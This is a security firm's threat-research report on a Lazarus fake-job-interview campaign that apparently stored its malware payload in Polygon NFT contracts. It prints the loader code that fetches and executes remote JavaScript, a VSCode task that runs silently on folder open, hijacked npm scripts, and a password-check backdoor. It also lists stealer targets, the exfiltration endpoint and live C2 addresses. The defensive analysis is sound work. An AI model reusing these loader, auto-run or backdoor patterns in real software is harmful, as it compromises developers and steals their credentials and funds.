Hunting Lazarus Part II: When the Dead Drop Moved to the Blockchain

By Red Asgard Threat Research Team

Published: 2026-01-23 · Archived: 2026-04-05 18:10:10 UTC

In Part I, Red Asgard's threat research team documented the Contagious Interview campaign: 1,000 Pastebin dead drop accounts, a timing oracle vulnerability, and a custom binary protocol on port 22411. That infrastructure was being disrupted—accounts taken down, IPs blocked.

Eleven days later, we found a new sample. Same campaign. Evolved tactics. The dead drop resolver had moved to the blockchain.

This report documents the **first documented blockchain-based dead drop resolver** used by Lazarus Group: Polygon NFT contracts as payload storage. Infrastructure that literally cannot be seized.

Key Findings

- **Blockchain DDR**: Polygon NFT contracts storing malicious JavaScript—immutable and globally replicated
- **Brand impersonation**: Attackers posed as real company Betfin with functional code and Figma designs
- **3 concurrent campaigns**: Diversified infrastructure across dedicated servers, bulletproof hosting, and Vercel cloud
- **JWT vulnerability cracked**: Signing secret is `"secret"` —we forged tokens and captured fresh payloads
- **72KB stealer module**: Targeting 50+ wallet extensions, 10+ password managers, 60+ browsers

---

The Social Engineering Playbook

During our investigation, we obtained a firsthand account from a target—a blockchain developer contacted through a mutual connection. The approach followed patterns we've documented across multiple Contagious Interview incidents.

The Approach

The attack began on LinkedIn. The attackers contacted the target's friend, who connected them with a business partner. The pitch: blockchain development work with claims of **$6M raised** and **18 months of runway**. The credibility signals were deliberate: specific funding numbers, concrete timelines, and a plausible backstory.

The Interview

The first call was scheduled but the attackers claimed they could only **text chat due to "technical issues."** The call was rescheduled—this time they appeared with **voice only, no video**.

During the call, they urged the target to clone the repository and run the project in realtime so they could "walk through and explain everything." When asked to run it on their own machine with screen sharing, **they declined**.

The code was initially shared on Bitbucket, but the final version was delivered as a **private GitHub repository**.

Patterns We Identified

Based on this account and our analysis, we compiled the red flags present:

1. **Text-only then voice-only calls** with "technical issues" excuse
2. **Real-time code execution request**
3. **Refused to demo on their own machine**
4. **Bitbucket → private GitHub migration** (evasion tactic)
5. **Pressure to clone and run immediately**
6. **Unsolicited outreach** with urgency framing

Defensive Checklist for Developers

We recommend developers verify the following before opening any code repository from an unknown source:

- Can you verify the company exists (LinkedIn, Crunchbase, press)?
- Did you initiate the contact, or did they approach you?
- Are they willing to do a video call?
- Will they demo their product on *their* machine first?
- Is the repository older than 30 days with organic commit history?
- Have you inspected `.vscode/`, `package.json`, and pre-commit hooks?

If any answer is "no," proceed with extreme caution.

The Blockchain Dead Drop Resolver

Why They Made the Switch

A dead drop resolver (DDR) provides malware with C2 configuration without connecting directly to attacker infrastructure. In Part I, we documented 1,000 Pastebin accounts used for this purpose. Those accounts were being taken down—we found 100% of a random sample returned 404.

The blockchain changes the equation:

Aspect	Pastebin DDR	Blockchain DDR
Takedown	Report to Pastebin	Impossible
Censorship	Account suspension	Cannot block without breaking blockchain access
Replication	Single server	Every Polygon node globally

Aspect	Pastebin DDR	Blockchain DDR
Modification	Edit paste	Deploy new contract
Cost	Free	~$0.01 per deployment

Technical Implementation

The malware uses two Polygon NFT contracts as payload storage:

Contract Addresses:

- `0xad031E8d8877481337cD53E141C16A2201BB6F4d`
- `0xa80db78ff597c3D34cCAF3bdaC39f3E193595561`

Each contract implements a `getMemo()` function that returns obfuscated JavaScript:

```
 const CONTRACT_ABI = [
    "function getMemo() external view returns (string memory)"
];

const provider = new ethers.providers.JsonRpcProvider(process.env.POLYGON_RPC_URL);

for (const address of NFT_CONTRACT_ADDRESSES) {
    const contract = new ethers.Contract(address, CONTRACT_ABI, provider);
    const memo = await contract.getMemo();
    nftResults.push(memo);
}

const payload = nftResults.join("");
new Function("require", payload)(require);
```

The `new Function("require", payload)(require)` construct gives the fetched code full Node.js capabilities—file system access, network operations, process spawning.

Why Blockchain?

1. **Cannot be seized**: No server to take down, no account to suspend
2. **Looks legitimate**: Web3 applications commonly query blockchain RPCs
3. **Immutable**: Once deployed, the payload is permanent
4. **Globally replicated**: Available from any Polygon RPC endpoint
5. **Easy rotation**: Deploy new contract, update malware config

Detection Challenges

Blocking blockchain DDRs is difficult:

- Blocking `polygon-rpc.com` breaks legitimate Web3 applications
- Contract addresses can be rotated via config update
- Query traffic is HTTPS to legitimate RPC providers
- No static signature—payload changes with each deployment

The Infection Chain

Timeline: Folder Open to Full Compromise

```
 T+0ms:     Victim opens project folder in VSCode
T+50ms:    VSCode parses .vscode/tasks.json
T+100ms:   Detects "runOn": "folderOpen" trigger
T+150ms:   Victim clicks "Trust Workspace"
T+200ms:   Task executes: npm install --silent --no-progress
T+5s:      npm install completes
T+5.1s:    Dependent task starts: node server/server.js
T+5.3s:    configureCollection() called
T+5.5s:    Polygon RPC query sent
T+6s:      Payload received from NFT contracts
T+6.1s:    new Function() executes payload
T+6.2s:    Info stealer active
```

Total time to compromise: ~6 seconds

Stage 1: VSCode Auto-Execution

The `.vscode/tasks.json` file is configured to execute on folder open:

```
{
 "tasks": [{
   "label": "run-backend",
   "command": "node server/server.js",
   "runOptions": { "runOn": "folderOpen" },
   "presentation": {
     "reveal": "never",
     "echo": false,
     "focus": false
   }
 }]
}
```

The `"reveal": "never"` setting ensures no terminal window appears.

Stage 2: npm Script Hijacking

Every npm script is prepended with malware execution:

```
 {
  "scripts": {
    "start": "node server/server.js | react-scripts start",
    "build": "node server/server.js | react-scripts build",
    "test": "node server/server.js | react-scripts test"
  }
}
```

The pipe operator runs both commands in parallel. The React app starts normally while malware executes silently.

Stage 3-4: Blockchain Query → RAT Deployment

The initial payload establishes a RAT that beacons every 5 seconds. The C2 responds with a `messages[]` array containing additional modules.

VM Evasion: The C2 checks MAC addresses—VirtualBox MACs (`08:00:27:*`) are blocked. Only real hardware receives the stealer modules.

Stage 5: Info Stealer Active

We captured the stealer module (72KB) on 2026-01-21. Targeting scope:

- **Crypto Wallets (50+):** MetaMask, Phantom, Binance, Trust Wallet, Coinbase, Exodus, Keplr, and dozens more
- **Password Managers (10+):** 1Password, LastPass, Bitwarden, KeePass, DashLane
- **Browsers (60+):** Chrome, Firefox, Brave, Edge, Safari, Tor Browser
- **Credentials:** `~/.ssh/` , `~/.aws/` , `~/.gnupg/`

Kill Switch: If C2 returns `responseCode == '-1'` , all processes terminate.

Exfiltration target: `http://87.236.177.9:3000/api/errorMessage`

The Authentication Backdoor

Line 39 of `server/controllers/auth.js` contains a subtle but critical backdoor:

```
 // Normal: const isMatch = await bcrypt.compare(password, user.password);
// Actual:
const isMatch = true;
```

Impact: Any password is accepted for any valid email address. If this application ever reached production, attackers would have full account access to every user.

Cover Story: Impersonating a Real Company

Unlike typical fake company schemes, the attackers impersonated **Betfin**—a real cryptocurrency betting platform.

The Real Betfin

Betfin is legitimate: founded in 2024, 11-50 employees, BET token on CoinMarketCap, and a LinkedIn presence. When victims Google "Betfin," they find a real company—making social engineering significantly more effective.

The Functional Repository

The malware repository is a **fully functional application**:

- Working Express.js backend on port 7777
- WebSocket-based real-time game logic
- React frontend with proper routing
- Legitimate npm dependencies (express, socket.io, mongoose)

A victim running `npm start` sees a real application loading—providing cover for background malware execution.

Professional Design Assets

The attackers also shared a **Figma design file** ("Betfin-Design") with business partners:

- 30+ high-fidelity mobile screens with consistent dark theme
- "Staking" section — matching Betfin's real product feature
- Referral tree diagrams — Betfin offers affiliate programs
- Dashboard interfaces with charts and data visualizations

Why Brand Impersonation Works

1. **Due diligence passes** — real company exists
2. **Token validates** — CoinMarketCap listing
3. **Features align** — staking, referrals match the real product
4. **Harder to detect** — victim assumes they're joining an established project

This combination creates a social engineering package that passes most developers' vetting.

Campaign Evolution: Part 1 vs Part 2

Aspect	Part 1 (2026-01-09)	Part 2 (2026-01-20)
Dead Drop	Pastebin (1,000 accounts)	Polygon blockchain
Primary C2	147.124.213.232	87.236.177.9

Aspect	Part 1 (2026-01-09)	Part 2 (2026-01-20)
Campaign Token	hkMrMq7, kmHgMq7	env08539
Novel Finding	Timing oracle, Z238 protocol	Blockchain DDR

Analysis: The shift to blockchain DDR suggests Pastebin accounts were being disrupted. The new C2 IP indicates infrastructure rotation. Eleven days between samples—they're iterating quickly.

New Campaign: Vercel-Hosted C2 (31df390f0305)

During active reconnaissance on 2026-01-21, we identified a third concurrent campaign using entirely different infrastructure: Vercel cloud hosting.

C2 Domain: `codeviewer-three.vercel.app` **Sample:** `github.com/Postilize-Tech/defiguard-dev.git`

This represents another evolution: legitimate cloud platforms as C2 infrastructure. Unlike bulletproof hosting, Vercel is a mainstream platform—making blocklisting significantly more difficult.

JWT Anti-Analysis (3-Minute Expiry)

The Vercel campaign implements JWT-based session tracking:

```
 {
  "ip": "<victim_ip>",
  "sessionId": "<uuid>",
  "step": 1,
  "origToken": "31df390f0305",
  "exp": "<unix+180>"
}
```

If analysts don't execute within 180 seconds, tokens expire and subsequent stages fail.

Critical Finding: JWT Secret Cracked

The JWT signing secret is trivially weak: `"secret"`

This allowed us to forge valid tokens, bypass IP binding, and capture fresh payloads from all infection stages.

User-Agent Based Access Control

Stage 2 endpoints block analysis tools:

User-Agent	Result
`python-requests/*`	403 - Blocked

User-Agent	Result
`Wget/1.21`	200 - Full payload

The malware uses wget/curl while analysis tools use Python requests—filtering most automated sandboxes.

Three Concurrent Campaigns

Campaign	Infrastructure	C2
hkMrMq7	Dedicated servers (Majestic Hosting)	147.124.x.x family
env08539	Bulletproof + blockchain DDR	87.236.177.9
31df390f0305	Legitimate cloud (Vercel) + JWT	codeviewer-three.vercel.app

This diversification suggests operational maturity—if one infrastructure is disrupted, operations continue through others.

Defensive Recommendations

Critical: VSCode Workspace Trust

Enable Workspace Trust organization-wide. This is the single most effective mitigation.

```
 {
  "security.workspace.trust.enabled": true,
  "security.workspace.trust.untrustedFiles": "prompt"
}
```

Detection Hunts

1. **Audit** `.vscode/tasks.json` for `"runOn": "folderOpen"`

   ```
   find ~ -path "*/.vscode/tasks.json" -exec grep -l "folderOpen" {} \;
   ```

2. **Check** `package.json` for script hijacking patterns

   ```
   grep -r "node.*|.*react-scripts" --include="package.json"
   ```

3. **Block C2 IP**

   ```
   iptables -A OUTPUT -d 87.236.177.9 -j DROP
   ```

4. **Monitor blockchain RPC** from backend servers
    - Backend services shouldn't query Polygon unless they're Web3 applications
    - Alert on `polygon-rpc.com` from non-frontend processes

MITRE ATT&CK Mapping

ID	Technique	Evidence
T1566.003	Phishing via Service	LinkedIn fake recruiter
T1204.002	Malicious File	VSCode auto-execution
T1059.007	JavaScript	All payloads
T1102.001	Dead Drop Resolver	Polygon NFT contracts (new variant)
T1555	Credential Access	Wallet/browser theft
T1041	Exfiltration Over C2	HTTP POST to /api/errorMessage

New Technique Variant: T1102.001 traditionally covers web services. This sample demonstrates blockchain-based DDR—a novel application not yet reflected in ATT&CK documentation.

IOC Summary

File Hashes (SHA256)

Hash	File
`e695f6628abade062d5a2310e16c5b2d1707795c0214b939d328e0772a776fea`	.vscode/tasks.json
`43223ce324e65b694bb8dd6bbf7992e29f75605a366532fe993bfdd924193f84`	server/controllers/collection.js
`3e2d9bcf6ff5ae441493df87e8c46b68c12985d88152cd4ab047b236a77dd30d`	package.json

Network Indicators

Indicator	Type	Role
`87.236.177.9:3000`	IP:Port	Primary C2 (env08539)
`codeviewer-three.vercel.app`	Domain	Vercel C2 (31df390f0305)
`11.34.242.92`	IP	NEW C2 (from deobfuscation)
`147.124.212.125`	IP	Active socket C2

Indicator	Type	Role
`66.235.168.238`	IP	Active socket C2
`45.59.163.55`	IP	Active socket C2
`0xad031E8d8877481337cD53E141C16A2201BB6F4d`	Polygon Contract	DDR #1
`0xa80db78ff597c3D34cCAF3bdaC39f3E193595561`	Polygon Contract	DDR #2

Campaign Tokens

Token	Purpose
`31df390f0305`	Vercel campaign (defiguard-dev)
`env08539`	EuroHoster campaign
`hkMrMq7`	Majestic Hosting campaign
`kmHgMq7`	Secondary campaign

A Practitioner's Perspective

The blockchain DDR represents a meaningful evolution in C2 resilience. When Pastebin accounts get taken down, operators need alternatives. When those alternatives include infrastructure that cannot be seized, defenders have fewer options.

This doesn't make detection impossible—monitoring for blockchain library usage in unexpected contexts is still effective. But it does raise the bar for disruption.

For organizations: if you're hiring crypto developers through Upwork, Fiverr, or similar platforms, you're in the target zone. Vet repositories before opening them. Disable VSCode auto-run tasks. Review package.json scripts before running `npm install`.

For threat hunters: the blockchain DDR provides immediate detection opportunities—monitor for ethers.js or Web3 library usage in applications without blockchain functionality, and alert on Polygon RPC queries from backend servers. The brand impersonation angle also offers investigative leads: cross-reference recruitment outreach against legitimate company employee directories.

How Red Asgard Can Help

This investigation originated from our freelancer code vetting practice—a service we offer to organizations that outsource development work.

Contractor Code Review

- Repository analysis before code integration
- Malware and backdoor detection
- Supply chain risk assessment
- Freelancer background verification

Threat Intelligence

- APT campaign tracking (Lazarus, Kimsuky, APT41)
- IOC feeds and alerting
- Custom threat hunting
- Incident response support

Security Assessments

- Application security testing
- Infrastructure penetration testing
- AI/ML security review
- Red team engagements

If you're outsourcing development work—especially in crypto or Web3—we'd welcome the opportunity to discuss your security posture.

Contact: contact@redasgard.com

References

- Part I: Hunting Lazarus: Inside the Contagious Interview C2 Infrastructure
- SentinelOne: Contagious Interview
- Sekoia: ClickFake Interview Campaign
- MITRE ATT&CK: Contagious Interview (G1052)

Share this article

Help spread the word about security best practices.
